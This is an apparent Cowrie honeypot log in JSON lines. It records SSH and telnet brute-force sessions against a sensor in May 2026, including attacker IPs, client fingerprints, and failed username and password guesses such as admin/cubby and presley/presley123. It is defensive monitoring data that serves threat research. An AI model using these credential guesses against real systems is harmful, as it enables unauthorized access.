{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:cf:63:c5:3f:77:93:27:f6:5f:46:2c:14:af:fe:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh+mctGShy2RD0ggNGJ3wAc0MXQU2G4sH2Vj/h8j/IfQQqUlRSlIrrGdHKL0Vi8KzD3N5gSKlVQy0Z5p8wDg1eWoaDXWnJYP/NxJka+qx2kzBnDjEnWqh0C68T4zTUBy6WFE0PEkou41/cbjBIM3IYf1Pzy3K55rY9fQ0mkRSsWxh3jMUcqxwatJ01uUwjFR0k/JDB0qg5I4dOj1ZCgCz3mDRgCW4UuhoCwq7HWWSX6bH4ObFg/zezn2AndWxtfOR6ChIN+cYv40m7qXfdDLqqUnBUJEwCj2SSN6KSq0vTRgkVekHsc+ziUt6+/RXwoFybbR96crqsDgH/Varb4xpf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:14.006583Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:37:3e:56:17:58:94:1f:30:15:cf:9f:d9:47:0a:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz0zlDoiGEX9sqh5EjxX6CVr2amatRoQzY5Wk0AshQwFsAoIOAcNyF5TXQYwpOm2iAoQ1ZgIVbraqWS1XJYUBJXll098zxFgx21wT2k80cSCCYbGC9Ax/MjsG9sitE5VjnFu2sRpISDpxErTMvvq7Lzh4jJvCCrJCCv5aXScKGZVpdm4cetSbRLEKor6+iMbfc/0+d2FLUa3+ZXLqNQLqx3/NrSzgiBMV1M8lbvPWONObDh3ElfiGohkviQ4ULzBMFtqYq6AFCSfNaF5r+kAdAjzN4IdB6gyIAZvR/2Q/Qxb93IglLbeOSBGC8HqUENOZzqATUdLrTHWt0ZaOpwCTJroYoLX9RrKf35ZMY3flFkU2JEA7YEpvwNrplCvuAb4qofnFsl0/pVisAegB64NksCa4eeExXbi6GuuSpLw0yE9SyzMAaYtirR7Z1U/nOCW/iXvkmfDAe2v84QnAAf11JIgXhtvQDYU86ue0SXhXM9VICeownXPFg+6l0MUnmyyDgM9Wvw7YwzdHmwnTp300F1sSC+MrRdkCl2x8mtzsCaS8NR3r6kKyPeK9plDSbsAdtso0xaihQumcwOn7uyQuFD+PQi6usA6wDW4X2u4suZnO1XbGyzZkSeKJHzV4KAXxAuo7oYUU1q+g1exu1pINHznPZMGqkEFUEjjhUR8ToLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:37:3e:56:17:58:94:1f:30:15:cf:9f:d9:47:0a:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:14.135292Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:37:3e:56:17:58:94:1f:30:15:cf:9f:d9:47:0a:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz0zlDoiGEX9sqh5EjxX6CVr2amatRoQzY5Wk0AshQwFsAoIOAcNyF5TXQYwpOm2iAoQ1ZgIVbraqWS1XJYUBJXll098zxFgx21wT2k80cSCCYbGC9Ax/MjsG9sitE5VjnFu2sRpISDpxErTMvvq7Lzh4jJvCCrJCCv5aXScKGZVpdm4cetSbRLEKor6+iMbfc/0+d2FLUa3+ZXLqNQLqx3/NrSzgiBMV1M8lbvPWONObDh3ElfiGohkviQ4ULzBMFtqYq6AFCSfNaF5r+kAdAjzN4IdB6gyIAZvR/2Q/Qxb93IglLbeOSBGC8HqUENOZzqATUdLrTHWt0ZaOpwCTJroYoLX9RrKf35ZMY3flFkU2JEA7YEpvwNrplCvuAb4qofnFsl0/pVisAegB64NksCa4eeExXbi6GuuSpLw0yE9SyzMAaYtirR7Z1U/nOCW/iXvkmfDAe2v84QnAAf11JIgXhtvQDYU86ue0SXhXM9VICeownXPFg+6l0MUnmyyDgM9Wvw7YwzdHmwnTp300F1sSC+MrRdkCl2x8mtzsCaS8NR3r6kKyPeK9plDSbsAdtso0xaihQumcwOn7uyQuFD+PQi6usA6wDW4X2u4suZnO1XbGyzZkSeKJHzV4KAXxAuo7oYUU1q+g1exu1pINHznPZMGqkEFUEjjhUR8ToLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:14.138883Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:df:ae:c7:32:2c:0b:ff:f7:75:c5:70:a2:3c:72:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4yQMKyZvY0P9JJLJVu4Srh2Dy1R2vHhcsmXqYNtkW2cBBEqHOQsAQcS9srMtbO2kZPoppRSaTdHh30M87oGa8EIp0JQBL0wQMsJmJk2gMNDEp0/hg4Htp++V/H4CDNDlEDS4pQ34YDhUsfelZIZryCVnzxqF+6OSRE7B2LAazHNp1ZxcjIhYDFky620y7BHxgHQg6fXS5o19l1EaaIJ05Qxytx+rVTQkcr64L74Un5En/g2Y3LvLc86av8mjuttG7c0Xw9CEmcBKk2GU7j7iBu0woXy7XeUfQxBfm6ygR6lK2zo2nhBRjNGhEzDCZtSynnuxT/zKw7t225VxG0SR439ZxuUQ+n+fu9qD0dzzKaE0/ubllaQjQmwHNfkflmgNF+ozOxea1IJpHl1D/CJAPiV1JB24PlP8rpzS/+2HW3SKXbTHSeRP+E+fSCRakUmPyeR3HAMzzO7EivlapEfMFSi2W07vWT3Lj9e/Z4kFlKU3jAL0saSCXHHBOIaEjWPUKWE/QI4N5PeIkllQODiZTu565RjSgeEg5Mg0dllAXJfpb75UTjCCfuggPh9Sgk1eiZj4SCizcQdPqjWDGqLXIqN015QMyGVvPkmfpS1YKOkAhGuHzPuZA9ZgjMiKJQUwniD307bCWtM0t2Fb9nVgxEmpDaSNohNkaDevdzctdGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:df:ae:c7:32:2c:0b:ff:f7:75:c5:70:a2:3c:72:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:14.265274Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:df:ae:c7:32:2c:0b:ff:f7:75:c5:70:a2:3c:72:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4yQMKyZvY0P9JJLJVu4Srh2Dy1R2vHhcsmXqYNtkW2cBBEqHOQsAQcS9srMtbO2kZPoppRSaTdHh30M87oGa8EIp0JQBL0wQMsJmJk2gMNDEp0/hg4Htp++V/H4CDNDlEDS4pQ34YDhUsfelZIZryCVnzxqF+6OSRE7B2LAazHNp1ZxcjIhYDFky620y7BHxgHQg6fXS5o19l1EaaIJ05Qxytx+rVTQkcr64L74Un5En/g2Y3LvLc86av8mjuttG7c0Xw9CEmcBKk2GU7j7iBu0woXy7XeUfQxBfm6ygR6lK2zo2nhBRjNGhEzDCZtSynnuxT/zKw7t225VxG0SR439ZxuUQ+n+fu9qD0dzzKaE0/ubllaQjQmwHNfkflmgNF+ozOxea1IJpHl1D/CJAPiV1JB24PlP8rpzS/+2HW3SKXbTHSeRP+E+fSCRakUmPyeR3HAMzzO7EivlapEfMFSi2W07vWT3Lj9e/Z4kFlKU3jAL0saSCXHHBOIaEjWPUKWE/QI4N5PeIkllQODiZTu565RjSgeEg5Mg0dllAXJfpb75UTjCCfuggPh9Sgk1eiZj4SCizcQdPqjWDGqLXIqN015QMyGVvPkmfpS1YKOkAhGuHzPuZA9ZgjMiKJQUwniD307bCWtM0t2Fb9nVgxEmpDaSNohNkaDevdzctdGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:14.269881Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:14.396930Z","src_ip":"102.129.186.123","session":"f5a7fcdaf0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":51335,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dabcb8a8428","protocol":"ssh","message":"New connection: 2.57.121.112:51335 (10.17.0.5:22) [session: 5dabcb8a8428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:50.381128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:50.385694Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:50.485358Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cuntcunt","message":"login attempt [admin/cuntcunt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:50.959250Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cubby","message":"login attempt [admin/cubby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:52.061630Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crippler","message":"login attempt [admin/crippler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:53.165608Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cricke","message":"login attempt [admin/cricke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:54.268562Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"creosote","message":"login attempt [admin/creosote] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:55.374366Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:11:56.477269Z","src_ip":"2.57.121.112","session":"5dabcb8a8428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30172,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c1599ddf683","protocol":"ssh","message":"New connection: 194.59.206.2:30172 (10.17.0.5:22) [session: 1c1599ddf683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:24.626534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:24.630894Z","src_ip":"194.59.206.2","session":"1c1599ddf683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:24.717392Z","src_ip":"194.59.206.2","session":"1c1599ddf683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:24.808345Z","src_ip":"194.59.206.2","session":"1c1599ddf683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32849,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b17752beaa","protocol":"ssh","message":"New connection: 213.209.159.56:32849 (159.203.135.109:22) [session: e3b17752beaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:42.749388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:42.754332Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:42.839283Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley","message":"login attempt [presley/presley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:43.239428Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley1","message":"login attempt [presley/presley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:44.324339Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley123","message":"login attempt [presley/presley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:45.409341Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley1234","message":"login attempt [presley/presley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:46.494785Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"presley","password":"presley12345","message":"login attempt [presley/presley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:47.614841Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:48.699993Z","src_ip":"213.209.159.56","session":"e3b17752beaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12531,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed9ddb7833ec","protocol":"ssh","message":"New connection: 2.57.121.25:12531 (10.17.0.5:22) [session: ed9ddb7833ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:59.776553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:59.780674Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:13:59.877299Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"davidd","message":"login attempt [user/davidd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:00.344763Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"davecole","message":"login attempt [user/davecole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:01.444917Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"darlin","message":"login attempt [user/darlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:02.547640Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dapper","message":"login attempt [user/dapper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:03.648642Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dane","message":"login attempt [user/dane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:04.749983Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:05.850253Z","src_ip":"2.57.121.25","session":"ed9ddb7833ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":61805,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfbc0610c3c2","protocol":"ssh","message":"New connection: 201.77.124.248:61805 (159.203.135.109:22) [session: dfbc0610c3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:36.936052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:36.941276Z","src_ip":"201.77.124.248","session":"dfbc0610c3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:37.370330Z","src_ip":"201.77.124.248","session":"dfbc0610c3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Push@8240","message":"login attempt [root/Push@8240] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:39.162052Z","src_ip":"201.77.124.248","session":"dfbc0610c3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:40.300653Z","src_ip":"201.77.124.248","session":"dfbc0610c3c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.165.85.93","src_port":39369,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d62cb83cc6e","protocol":"telnet","message":"New connection: 123.165.85.93:39369 (159.203.135.109:23) [session: 9d62cb83cc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:14:50.646589Z"}
